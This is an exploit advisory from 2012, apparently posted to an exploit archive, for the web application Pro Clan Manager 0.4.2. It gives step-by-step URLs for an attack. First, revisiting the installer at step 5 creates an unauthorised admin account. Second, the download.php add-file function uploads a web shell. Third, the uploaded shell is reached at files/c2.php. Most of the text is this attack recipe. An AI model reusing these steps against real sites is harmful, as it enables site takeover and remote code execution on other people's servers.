indoushka on June 19, 2012: Pro Clan Manager version 0.4.2 suffer from administrative bypass and shell upload vulnerabilities.

Pro Clan Manager 0.4.2 Administrative Bypass / Shell Upload

===========================================
Pro Clan Manager 0.4.2 Mullti Vulnerability
===========================================

# Vendor: http://garr.dl.sourceforge.net/project/autoweb/Pro%20Clan%20Manager/0.4.2/proclanmanager.0.4.2.zip

# Date: 2012-06-06 

# Author : indoushka 

# Tested on : windows SP2 Francais V.(Pnx2 2.0)
######################################################################## 

# Exploit By indoushka 

Reinstall Add Admin login :

http://localhost/UPLOAD/install/index.php?step=5

after you add admin &amp; pass go her to upload your Evil

http://localhost/UPLOAD/download.php?add=file&amp;fo=0

you found your evil her

http://localhost/UPLOAD/files/c2.php

Code Exploits Collection

Pro Clan Manager 0.4.2 Administrative Bypass / Shell Upload

Comments